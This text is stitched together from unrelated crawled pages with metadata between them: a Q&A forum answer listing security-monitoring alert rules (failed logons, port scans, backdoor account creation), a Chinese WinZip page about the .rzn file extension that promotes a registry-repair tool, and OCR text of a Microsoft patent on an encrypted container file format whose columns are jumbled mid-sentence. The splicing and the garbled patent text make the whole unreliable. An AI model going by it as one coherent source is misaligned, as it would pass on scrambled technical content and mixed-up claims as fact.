best extra hard to get in. You might get a hacked server and then you'd have to be able to go back and look for related security events to learn from the incident. share|improve this answer It depends on source of logs! If logs source is windows then look for account logon failures, password reset or change attempt, deletion or creation of new account, conflict in hostnames. You can visit ultimatewindowssecurity where you can find critical events to look for. In firewall logs you can check for port scan (one host ip visiting more than 100 destination ports in short time),FTP logins on SAP,Malware activity. Check for high bandwidth consumption by any application or process. In proxy logs check for SQL Injection,Data tempering, Search queries etc. Use cases: 1. Warn if 5 failed logon attempts are tried with different usernames from the same IP to the same machine in 15 minutes and after that, if a successful login occurs from the same IP to any machine. 2. Warn if a host scan is made by an IP and then if a successful connection is established by the same IP and then backward connection is established from connected IP to connecting IP. 3. Warn if more than 100 connections are established from the different external IPs to the same destination IP in one minute. 4. Warn if 100 connections are established from the same external IP through different ports to the same destination IP in one minute. 5. Warn if the same user tries more than three failed logon attempts to the same machine in an hour. 6. Warn if a user can’t log into any server and caused failed authentication and in two hours if that user can’t log into the same server. 7. Warn one if more than 100 packets are blocked by UTM/FireWall from the same source IP and don’t warn within an hour. (Millions of packets are blocked in case of DDOS attack. If email is sent for each, you are exposed yo yourself DDOS attack.) 8. Report the source IP which causes UnusualUDPTraffic. 9. Warn if a traffic is occurred to a source or from a source in IPReputation list. 10. Warn if network traffic occurs from the source or to a source in malicious link list published by TRCERT - Turkey - Computer Emergency Response Team 11. If someone sets up DHCP server in your network or if a different gateway broadcasts, to find out this: Warn if a traffic occurs from inside to outside or from outside to inside whose protocol is UDP, destination port is 67, and destination IP is not in registered IP list. 12. Warn if an IP scan occurs. 13. Warn if SQL attack occurs via web server. 14. Warn if the servers are accessed out of hours. 15. Warn if the same user tries more than three failed logon attempts to different machines in an minute. 16. Warn If an attack followed by account change 17. Warn If scan followed by an attack 18. Detects An Unusual Condition Where A Source Has Authentication Failures At A Host But That Is Not Followed By A Successful Authentication At The Same Host Within 2 Hours 19. Look for a new account being created followed by immediate authentication activity from that same account would detect the backdoor account creation followed by the account being used to telnet back into the system 20. Monitor same source having excessive logon failures at distinct hosts, 21. Check whether the source of an attack was previously the destination of an attack (within 15 minutes) 22. Check whether there are 5 events from host firewalls with severity 4 or greater in 10 minutes between the same source and destination IP 23. Look for a new account being created, followed shortly by access/authentication failure activity from the same account 24. Monitor system access outside of business hours share|improve this answer      Your link does not talk about windows events. Is there a subpage somewhere? – schroeder Dec 22 '15 at 16:12      The whole website is useful. Yes but for the windows event here is the link ultimatewindowssecurity.com/securitylog/encyclopedia/… – Jigar Lad Dec 23 '15 at 18:45      The link you provided does not do what you say it does. It is a list of all eventIDs and not a list of important ones, which is what the OP is looking for. Is there a list of Windows eventIDs that are critical to security? You list some, but there are far more. – schroeder Dec 23 '15 at 19:23      Well Buddy look at the event and little bit shake your mind and come out with a combination of correlation. You wont get everything in one bowl – Jigar Lad Dec 23 '15 at 20:29      But "one bowl" is what the OP is asking for – schroeder Dec 23 '15 at 20:37 Not the answer you're looking for? Browse other questions tagged or ask your own question.
{ "url": "http://security.stackexchange.com/questions/12502/what-are-the-most-relevant-security-events-incidents-any-company-should-monitor?answertab=votes", "source_domain": "security.stackexchange.com", "snapshot_id": "crawl=CC-MAIN-2016-18", "warc_metadata": { "Content-Length": "81414", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:IGBJHDLEHTN3C6OQHK7JCZLWX74SGEF5", "WARC-Concurrent-To": "<urn:uuid:985a556e-a25e-4ce8-a181-f19d687df274>", "WARC-Date": "2016-05-06T09:26:28Z", "WARC-IP-Address": "104.16.116.182", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:6OHPOAQNDNFK4UMFMNOBYIJWC3GSKN2Q", "WARC-Record-ID": "<urn:uuid:e0afbd1c-cd46-430d-aab6-6c68cfcc14bb>", "WARC-Target-URI": "http://security.stackexchange.com/questions/12502/what-are-the-most-relevant-security-events-incidents-any-company-should-monitor?answertab=votes", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:b3a6259e-3fc3-42ec-b1d7-31b7686a5ecf>" }, "warc_info": "robots: classic\r\nhostname: ip-10-239-7-51.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 148, 149, 157, 178, 210, 234, 289, 290, 446, 447, 475, 476, 580, 581, 880, 881, 885, 1153, 1158, 1281, 1286, 1391, 1392, 1546, 1547, 2115, 2116, 2142, 2143, 2417, 2418, 2568, 2569, 2637, 2638, 2712, 2713, 2724, 2725, 2926, 2927, 3115, 3116, 3245, 3382, 3485, 3626, 3874, 3932, 4018, 4173, 4452, 4485, 4533, 4586, 4694, 4745, 4786, 4962, 5183, 5260, 5368, 5511, 5636, 5690, 5716, 5721, 5829, 5834, 5997, 6002, 6296, 6301, 6477, 6482, 6558, 6559 ], "line_end_idx": [ 148, 149, 157, 178, 210, 234, 289, 290, 446, 447, 475, 476, 580, 581, 880, 881, 885, 1153, 1158, 1281, 1286, 1391, 1392, 1546, 1547, 2115, 2116, 2142, 2143, 2417, 2418, 2568, 2569, 2637, 2638, 2712, 2713, 2724, 2725, 2926, 2927, 3115, 3116, 3245, 3382, 3485, 3626, 3874, 3932, 4018, 4173, 4452, 4485, 4533, 4586, 4694, 4745, 4786, 4962, 5183, 5260, 5368, 5511, 5636, 5690, 5716, 5721, 5829, 5834, 5997, 6002, 6296, 6301, 6477, 6482, 6558, 6559, 6649 ] }
{ "red_pajama_v2": { "ccnet_original_length": 6649, "ccnet_original_nlines": 77, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4095940887928009, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.023616239428520203, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.18597786128520966, "rps_doc_frac_unique_words": 0.3699222207069397, "rps_doc_mean_word_length": 4.5073466300964355, "rps_doc_num_sentences": 80, "rps_doc_symbol_to_word_ratio": 0.0007380099850706756, "rps_doc_unigram_entropy": 5.445400714874268, "rps_doc_word_count": 1157, "rps_doc_frac_chars_dupe_10grams": 0.021476510912179947, "rps_doc_frac_chars_dupe_5grams": 0.10201341658830643, "rps_doc_frac_chars_dupe_6grams": 0.08513902127742767, "rps_doc_frac_chars_dupe_7grams": 0.06442952901124954, "rps_doc_frac_chars_dupe_8grams": 0.04870565980672836, "rps_doc_frac_chars_dupe_9grams": 0.021476510912179947, "rps_doc_frac_chars_top_2gram": 0.01725791022181511, "rps_doc_frac_chars_top_3gram": 0.010546499863266945, "rps_doc_frac_chars_top_4gram": 0.006903159897774458, "rps_doc_books_importance": -616.1826782226562, "rps_doc_books_importance_length_correction": -616.1826782226562, "rps_doc_openwebtext_importance": -378.26776123046875, "rps_doc_openwebtext_importance_length_correction": -378.26776123046875, "rps_doc_wikipedia_importance": -303.4547119140625, "rps_doc_wikipedia_importance_length_correction": -303.4547119140625 }, "fasttext": { "dclm": 0.23930054903030396, "english": 0.919605553150177, "fineweb_edu_approx": 2.1619911193847656, "eai_general_math": 0.0883595272898674, "eai_open_web_math": 0.17765313386917114, "eai_web_code": 0.009998319670557976 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.82", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.02", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "1", "label": "Leftover HTML" } }, "missing_content": { "primary": { "code": "2", "label": "Click Here References" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-6,899,712,742,803,898,000
我們致力本地化我們在盡可能多的語言的網站越好,然而這一頁是機器使用谷歌翻譯翻譯。 關閉 文件擴展名查詢 .rzn 文件擴展名 開發商: Red Zion 文件類型: Red Zion Notes File 你在這裡因為你有,有一個文件擴展名結尾的文件 .rzn. 文件與文件擴展名 .rzn 只能通過特定的應用程序推出。這有可能是 .rzn 文件是數據文件,而不是文件或媒體,這意味著他們並不是在所有觀看。 什麼是一 .rzn 文件? 在文件.rzn擴展是指創建並保存在紅錫安電子書應用程序的文本文件。這些RZN文本文件也稱為註釋文件,因為它包含由RZB文件的用戶或創建者輸入的文本。這些RZB文件是可以創建,編輯和使用Red錫安電子書程序查看輸出文件。當用戶創建一個項目RZB,一個RZN文件會自動由紅錫安電子書程序創建的,而這RZN文件將包含該文件RZB其他文本條目中的說明和意見。這個程序再與RZB項目新創建的文件RZN關聯。這是該程序來快速,輕鬆地找到正確的RZN文件時,用戶查看相關RZB文件,使用戶可以查看存儲在RZN文件中的註釋,評論等文字條目。 RZB項目也是文本文件,如文件RZN。一個RZN文件的內容還可以查看和使用流行的文本編輯器,如微軟記事本和寫字板修改。 如何打開 .rzn 文件? 推出 .rzn 文件,或者你的電腦上的任何其他文件,雙擊它。如果你的文件關聯的設置是否正確,這意味著應用程序來打開你的 .rzn 文件將其打開。這是可能的,你可能需要下載或購買正確的應用程序。這也有可能是你有正確的應用程序在PC上,但 .rzn 文件還沒有與它相關聯。在這種情況下,當您嘗試打開一個 .rzn 文件,你可以告訴Windows的應用程序是正確的該文件。從這時起,打開 .rzn 文件將打開正確的應用程序。 點擊這裡修復.rzn文件關聯錯誤 打開一個應用程序 .rzn 文件 Red Zion E-book Red Zion E-book Red Zion E-book is an application that is classified as a document viewing tool, and this software is embedded with compatibility support for widely used versions of Microsoft Windows. The Red Zion E-book program is integrated with a set of features that can open, display the content and access certain functionalities implemented into an RZB file, which is a digital document format used by some Slovenian ebook authors. Some of these RZB digital books are encrypted with copy protection keys, and these security tokens are stored in files in the RZK format. This means when a user wants to copy the content of an RZB file that is displayed in the main window of the Red Zion E-book's Graphical User Interface (GUI), this software initially checks if there is a security token that encrypts the content of the RZB file. If this program finds a security token, it requests for the correct set of keys from the user. When the user supplies the correct security keys, this software allows the user to copy the content of the RZB file. It will however deny copy access if the user provides an incorrect security key or if the user does not give one. Red Zion E-book is also known as Red Zion E-knjiga. Microsoft Notepad Microsoft Notepad Notepad is a basic text editor used to create plain documents. It is commonly used to view or edit text (.txt) files, and a simple tool for creating Web pages, and supports only the basic formatting in HTML documents. It also has a simple built-in logging function. Each time a file that initializes with .log is opened, the program inserts a text timestamp on the last line of the file. It accepts text from the Windows clipboard. This is helpful in stripping embedded font type and style codes from formatted text, such as when copying text from a Web page and pasting into an email message or other “What You See Is What You Get” text editor. The formatted text is temporarily pasted into Notepad, and then immediately copied again in stripped format to be pasted into the other program. Simple text editors like Notepad may be utilized to change text with markup, such as HTML. Early versions of Notepad offered only the most basic functions, such as finding text. Newer versions of Windows include an updated version of Notepad with a search and replace function (Ctrl + H), as well as Ctrl + F for search and similar keyboard shortcuts. It makes use of a built-in window class named edit. In older versions such as Windows 95, Windows 98, Windows Me and Windows 3.1, there is a 64k limit on the size of the file being edited, an operating system limit of the EDIT class. Microsoft WordPad Microsoft WordPad Files with .rtf, .openbsd, and .readme extensions are some of the files associated or which can be opened with the Microsoft WordPad. RTF files are text documents that can be created, opened, viewed, edited or changed using word processing applications for both Mac and Microsoft Windows-based computers, like Microsoft WordPad for Windows and Microsoft Word 2011 for Mac. It gives the users a wide cross compatibility support, which was the central objective for the improvement of the Rich Text Format technology, and these .rtf files can even be opened, viewed and used with database applications. The OpenBSD Unix platform is frequently utilized in computers running as Web servers of a secure network. OpenBSD files may be saved in directories of the OpenBSD system that were generated upon installation of the software applications. Files with the .openbsd extension can be opened by standard text editors, particularly well-known like Microsoft Notepad, and this text editor may also be utilized to create and edit OPENBSD files. Files with the .readme extension are text documents engaged to give users with beneficial information and specific details about certain applications installed in the system. These files can be opened, viewed and edited with a selection of text editors including Microsoft Notepad and Microsoft WordPad. Notepad2 Notepad2 The Notepad2 application is a more advanced text editor for Windows developed by Florian Balmer. This program originated from the original built-in Microsoft Notepad which is why it is also effective and fast even when it is small. Notepad2 also has a lot of features such as syntax highlighting that allows a text or a source code to be displayed using different fonts and colors. This syntax highlighting feature of notepad2 allows users to write programming language easily and distinctly. This amazing function of Notepad2 is also owing to several other features it possess such as auto indentation, regular and expression-based find and replace feature, bracket matching, newline conversion, encoding conversion as well as multiple undo and redo features. These features make the function of the simple Notepad more advanced and it makes Notepad more interesting to use either to open files in .txt format or to write HTML codes. Notepad2 also supports many programming languages such as ASP, C++, Perl, Java, etc. 提醒一句 要小心,不要重命名擴展 .rzn 文件,或任何其他文件。這不會更改文件類型。只有特殊的轉換軟件可以從一個文件類型更改一個文件到另一個。 什麼是文件擴展名? 文件擴展名是一組三個或四個字符在文件名的末尾,在這種情況下, .rzn. 文件擴展名告訴你它是什麼類型的文件,並告訴Windows哪些程序可以打開它。窗戶經常關聯一個默認程序的每個文件的擴展名,這樣,當你雙擊該文件,程序會自動啟動。當該程序不再是您的PC上,有時可以得到一個錯誤,當您試圖打開相關的文件。 修復.rzn文件關聯錯誤 查找和修復文件擴展名錯誤,註冊表問題,并快速,輕鬆和安全地恢復最佳PC性能。 嘗試 Registry Reviver® 自由。 開始下載 發表評論 現在修復.rzn文件擴展名 查找並修復文件關聯錯誤,防止在您的計算機上打開此文件類型。 立即開始修復 安裝 Registry Reviver® Registry Reviver 你確定嗎? 修復PC上的文件擴展名問題。 安裝並嘗試 Registry Reviver 對於 Free! Copyright © 2023 Corel Corporation. 版權所有。 使用條款 | 隱私 | Cookies 追隨我們 夏季大減價! 高達40%的折扣 使用高級套房套餐並獲得 Parallels Toolbox 自由! 節省 40 %
{ "url": "https://tray.winzip.com/zh-tw/file-extensions/rzn", "source_domain": "tray.winzip.com", "snapshot_id": "CC-MAIN-2023-14", "warc_metadata": { "Content-Length": "138503", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:UDVTHAAC2XXLCZPMO5VPYIKGUKME3TFY", "WARC-Concurrent-To": "<urn:uuid:f60d8b4e-b79d-428c-8a16-f85441898861>", "WARC-Date": "2023-03-29T12:37:20Z", "WARC-IP-Address": "34.236.202.171", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:W3T6RQSCAHDD6OU33KQ64BFGXN6GFIZ3", "WARC-Record-ID": "<urn:uuid:a04bacf7-a8ba-490a-b758-87dbe846cb99>", "WARC-Target-URI": "https://tray.winzip.com/zh-tw/file-extensions/rzn", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:5bbc5ff1-7cd4-49cc-a2c0-9e3463feac0a>" }, "warc_info": "isPartOf: CC-MAIN-2023-14\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-104\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 44, 45, 53, 54, 65, 66, 80, 106, 207, 208, 222, 223, 546, 547, 561, 562, 789, 790, 807, 808, 824, 825, 841, 842, 2042, 2060, 2061, 2079, 2080, 3469, 3487, 3488, 3506, 3507, 4848, 4857, 4858, 4867, 4868, 5888, 5889, 5894, 5895, 5963, 5964, 5974, 5975, 6128, 6141, 6142, 6181, 6182, 6207, 6208, 6213, 6214, 6219, 6220, 6234, 6264, 6271, 6292, 6309, 6315, 6330, 6331, 6363, 6364, 6426, 6431, 6438, 6447, 6448, 6482, 6483, 6486, 6489 ], "line_end_idx": [ 44, 45, 53, 54, 65, 66, 80, 106, 207, 208, 222, 223, 546, 547, 561, 562, 789, 790, 807, 808, 824, 825, 841, 842, 2042, 2060, 2061, 2079, 2080, 3469, 3487, 3488, 3506, 3507, 4848, 4857, 4858, 4867, 4868, 5888, 5889, 5894, 5895, 5963, 5964, 5974, 5975, 6128, 6141, 6142, 6181, 6182, 6207, 6208, 6213, 6214, 6219, 6220, 6234, 6264, 6271, 6292, 6309, 6315, 6330, 6331, 6363, 6364, 6426, 6431, 6438, 6447, 6448, 6482, 6483, 6486, 6489, 6490 ] }
{ "red_pajama_v2": { "ccnet_original_length": 6490, "ccnet_original_nlines": 77, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.29532402753829956, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.036095160990953445, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2526661157608032, "rps_doc_frac_unique_words": 0.4079229235649109, "rps_doc_mean_word_length": 5.776231288909912, "rps_doc_num_sentences": 68, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.340984344482422, "rps_doc_word_count": 934, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.019277110695838928, "rps_doc_frac_chars_dupe_6grams": 0.01482854038476944, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.010194620117545128, "rps_doc_frac_chars_top_3gram": 0.011121409945189953, "rps_doc_frac_chars_top_4gram": 0.005560699850320816, "rps_doc_books_importance": -576.8334350585938, "rps_doc_books_importance_length_correction": -576.8334350585938, "rps_doc_openwebtext_importance": -292.48974609375, "rps_doc_openwebtext_importance_length_correction": -292.48974609375, "rps_doc_wikipedia_importance": -240.62091064453125, "rps_doc_wikipedia_importance_length_correction": -240.62091064453125 }, "fasttext": { "dclm": 0.23348581790924072, "english": 0.6128730177879333, "fineweb_edu_approx": 2.7146363258361816, "eai_general_math": 0.872410237789154, "eai_open_web_math": 0.338004469871521, "eai_web_code": 0.49633949995040894 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.462", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "6", "label": "Promotional/Advertisement" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "10", "label": "Knowledge Article" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,513,071,329,649,842,000
Successfully reported this slideshow. We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime. 131 andrey shur - 8397068 - generic file protection format 210 views Published on Andrey Shur, Marcio Mello, Pankaj Kamat, Dan Knudson, Eugene Savchenko, Scott Cottrille - Generic File Protection Format Published in: Technology • Be the first to comment • Be the first to like this 131 andrey shur - 8397068 - generic file protection format 1. 1. c12) United States Patent Shur et al. (54) GENERIC FILE PROTECTION FORMAT (75) Inventors: Andrey Shur, Redmond, WA (US); Marcio Mello, Bellevue, WA (US); Pankaj Kamat, Kirkland, WA (US); Dan Knudson, Bellevue, WA (US); Eugene Savchenko, Ontario (CA); Scott Cottrille, Sammamish, WA (US) (73) Assignee: Microsoft Corporation, Redmond, WA (US) ( *) (21) Notice: Subject to any disclaimer, the term ofthis patent is extended or adjusted under 35 U.S.C. 154(b) by 366 days. Appl. No.: 12/768,752 (22) Filed: Apr. 28, 2010 (65) (51) (52) (58) (56) Prior Publication Data US 2011/0271103 Al Nov. 3, 2011 Int. Cl. H04L 29106 (2006.01) U.S. Cl. ........ 713/165; 713/158; 713/193; 713/183; 713/176; 726/27; 726/4; 711/162 Field of Classification Search .................. 713/165, 713/193; 726/24-27 See application file for complete search history. References Cited U.S. PATENT DOCUMENTS 6,618,735 B1 7,228,437 B2 * 7,412,605 B2 * 7,679,666 B2 * 7,814,025 B2 * 7,886,159 B2 * 7,984,296 B2 * 9/2003 Krishnaswami et al. 6/2007 Spagna et al. 8/2008 Raley et a!. 3/2010 Hagihara et al. 10/2010 Roever eta!. 2/2011 Nonakaetal. 7/2011 Watanabe et a!. 713/193 713/189 348/308 705/65 713/193 713/168 IIIIII 1111111111111111111111111111111111111111111111111111111111111 US008397068B2 (10) Patent No.: (45) Date of Patent: US 8,397,068 B2 Mar.12,2013 8,117,464 B1* 2/2012 Kogelnik 713/193 8,301,884 B2 * 10/2012 Choi 713/168 2006/0031222 A1 2/2006 Hannsmann 2007/0022306 A1 * 1/2007 Lindsley 713/193 2008/0072054 A1 * 3/2008 Choi 713/176 2008/0288788 A1 * 1112008 Krig. 713/193 2008/0300850 A1 12/2008 Chen eta!. 2008/0320300 A1 * 12/2008 Gkantsidis et a!. 713/158 2009/0106552 A1 4/2009 Mohamed 2009/0165080 A1 6/2009 Falm et al. 2010/0037216 A1 * 212010 Carcerano et a!. 717/173 2010/0185854 A1 * 712010 Burns eta!. 713/165 201110055559 A1 * 3/2011 Li eta!. 713/165 OTHER PUBLICATIONS Miller E, Strong Security for distributed file systems, Apr. 2001, IEEE, vol. 18, pp. 35-38.* Ball, Alex., "Briefing Paper: File Format and XML Schema Regis- tries", Retrieved at<< http://www.ukoln.ac.uk/projects/grand-chal- lenge/papers/registryBriefing.pdf>>, 2006, pp. 13. (Continued) Primary Examiner- Nathan Flynn Assistant Examiner- Viral Lakhia (74) Attorney, Agent, or Firm- Zete Law, P.L.L.C.; MacLane C. Key (57) ABSTRACT A file may contain an unencrypted and an encrypted portion. The unencrypted portion may contain a layout section that may point to a published license, metadata, and a contents section, where the contents section is in the encrypted por- tion. The encrypted portion may contain the contents section which may act as a directory for one or more included files that may be compressed and stored in the encrypted portion. When the file is opened by a receiver, the receiver may read the published license and communicate with a security server to establish access rights and receive at least one key for decrypting at least a portion of the encrypted portion of the file. The receiver may then gain access to the included files. 102 DEVICE 20 Claims, 4 Drawing Sheets 2. 2. US 8,397,068 B2 Page 2 OTHER PUBLICATIONS Yu, eta!., "Enterprise Digital Rights Management: Solutions against Information Theft by Insiders", Retrieved at<< http://www.ecsl.cs. sunysb.edu/tr/rpe-drm-yy.pdf>>, RPE report, Sep. 2004, pp. 1-26. Gilham, John., "Information Rights Management in Windows SharePoint Services 3.0", Retrieved at<< http://blogs.msdn.com/ andrew_may/attachment/1119375.ashx >>,Dec. 13, 2007, pp. 1. Oiaga, Marius., "Protecting Sensitive Data with AD RMS", Retrieved at http://news.softpedia.corn/newsPDF/Protecting-Sensi- tive-Data-with-AD-RMS-132954.pdf>>, Jan. 23, 2010, pp. 1-4. "Custom IRM Protectors", Retrieved at << http://msdn.microsoft. corn/en-us/library/ms439253.aspx >>, 2007, pp. 1. * cited by examiner 3. 3. U.S. Patent 154 Mar.12,2013 Sheet 1 of 4 AUTHENTICATION SERVER US 8,397,068 B2 SYSTEM WITH CONTAINER FILE (100 / 144 SECURITY SERVER -----------------------------,122 CONTAINER FILE 124 UNENCRYPTED PORTION 128-:' c130 ILAYOUTI IMETADATAI 132 PUBLICATION LICENSE ~ ~ FIG.l 120 102 DEVICE 4. 4. U.S. Patent CONTAINER FILE 202 Mar.12,2013 Sheet 2 of 4 US 8,397,068 B2 UNENCRYPTED PORTION 204 r----------------------------1 LAYOUT -/'208 1 ~---~-----1 1 .-----------,I ---------,I 2 ~ 1 I : 2 ~ 1 I I 2 ~ 1 PUBLICATION I I CONTENTS I I LICENSE 1 I I 1 DIRECTORY : I t--~-----IJ/ I 1 I I I I I I I I I METADATA 1 I I ~ 1 I I ---- ____ J I I L________ .J L-----------r------~ 1 1 1 .. o11 CONTAINER FILE n PROTECTED -/'216ITEM Name 0 I 220"- DATA ITEM FIG. 2 URI Size 206 ENCRYPTED PORTION 5. 5. U.S. Patent Mar.12,2013 Sheet 3 of 4 US 8,397,068 B2 METHOD FOR CREATING CONTAINER FILE 300~ RECEIVE FILES 302 DETERMINE ACCESS POLICY FOR 304FILES IDENTIFY AUTHENTICATION 306MECHANISM ORGANIZE FILES 308 COMPRESS FILES 310 CREATE CONTENT DIRECTORY 312FOR FILES ENCRYPT FILES AND CONTENT 314DIRECTORY CREATE PUBLICATION LICENSE 316 CREATE CONTAINER WITH 318ENCRYPTED FILES ADD METADATA TO CONTAINER 320 ADD PUBLICATION LICENSE TO 322CONTAINER UPDATE LAYOUT IN CONTAINER 324 STORE CONTAINER 326 FIG. 3 6. 6. U.S. Patent Mar.12,2013 Sheet 4 of 4 METHOD FOR OPENING CONTAINER FILE 400~ RECEIVE CONTAINER FILE EXAMINE PREDEFINED LOCATION IN CONTAINER FILE TO GET LAYOUT EXAMINE LAYOUT TO FIND LOCATIONS OF METADATA AND PUBLICATION LICENSE READ METADATA READ PUBLICATION LICENSE IDENTIFY CREDENTIALS FOR ACCESS IDENTIFY URI FOR SECURITY SERVER TRANSMIT CREDENTIALS TO SECURITY SERVER RECEIVE KEYS FOR DECRYPTION DECRYPT ENCRYPTED SECTION EXAMINE CONTENT DIRECTORY USE FILES ACCORDING TO ACCESS POLICY FIG. 4 US 8,397,068 B2 406 408 412 418 7. 7. US 8,397,068 B2 1 GENERIC FILE PROTECTION FORMAT BACKGROUND Computer files can be difficult to transport and protect. When transporting a computer file, such as transmitting the file over the Internet, files can be protected by encrypting the file, but both the sender and receiver may both have the encryption keys. However, once the receiver ofthe file unen- crypts the file, the file may be in the clear and transferred to users who may be unauthorized to access the file. SUMMARY 2 arranged in a hierarchical fashion and may contain many individual files. In some embodiments, a separate encryption key may be used to encrypt/decrypt one or more of the embedded files. Throughout this specification, like reference numbers sig- nify the same elements throughout the description of the figures. When elements are referred to as being "connected" or "coupled," the elements can be directly connected or coupled 10 together or one or more intervening elements may also be present. In contrast, when elements are referred to as being "directly connected" or "directly coupled," there are no inter- vening elements present. The subject matter may be embodied as devices, systems, methods, and/or computer program products. Accordingly, some or all of the subject matter may be embodied in hard- ware and/or in software (including firmware, resident soft- ware, micro-code, state machines, gate arrays, etc.) Further- A file may contain an unencrypted and an encrypted por- 15 tion. The unencrypted portion may contain a layout section that may point to a published license, metadata, and a contents section, where the contents section is in the encrypted por- tion. The encrypted portion may contain the contents section which may act as a directory for one or more included files that may be compressed and stored in the encrypted portion. When the file is opened by a receiver, the receiver may read the published license and communicate with a security server 20 more, the subject matter may take the form of a computer program product on a computer-usable or computer-readable storage medium having computer-usable or computer-read- able program code embodied in the medium for use by or in connection with an instruction execution system. In the con-to establish access rights and receive at least one key for decrypting at least a portion of the encrypted portion of the file. The receiver may then gain access to the included files. 25 text of this document, a computer-usable or computer-read- able medium may be any medium that can contain, store, communicate, propagate, or transport the program for use by or in connection with the instruction execution system, appa- This Summary is provided to introduce a selection ofcon- cepts in a simplified form that are further described below in the Detailed Description. This Summary is not intended to identify key features or essential features ofthe claimed sub- 30 ject matter, nor is it intended to be used to limit the scope of the claimed subject matter. ratus, or device. The computer-usable or computer-readable medium may be for example, but not limited to, an electronic, magnetic, optical, electromagnetic, infrared, or semiconductor system, apparatus, device, or propagation medium. By way of example, and not limitation, computer-readable media mayBRIEF DESCRIPTION OF THE DRAWINGS In the drawings, FIG. 1 is a diagram illustration ofan embodiment showing an environment in which container file may be used. FIG. 2 is a diagram illustration ofan embodiment showing an example container file. FIG. 3 is a flowchart illustration of an embodiment show- ing a method for creating a container file. FIG. 4 is a flowchart illustration of an embodiment show- ing a method for opening a container file. DETAILED DESCRIPTION A generic file protectionformat may define anunencrypted and an encrypted portion ofa container file. The unencrypted portion may be used to gain access to the encrypted portion. 35 comprise computer storage media and communication media. Computer storage media includes volatile and nonvolatile, removable and non-removable media implemented in any method or technology for 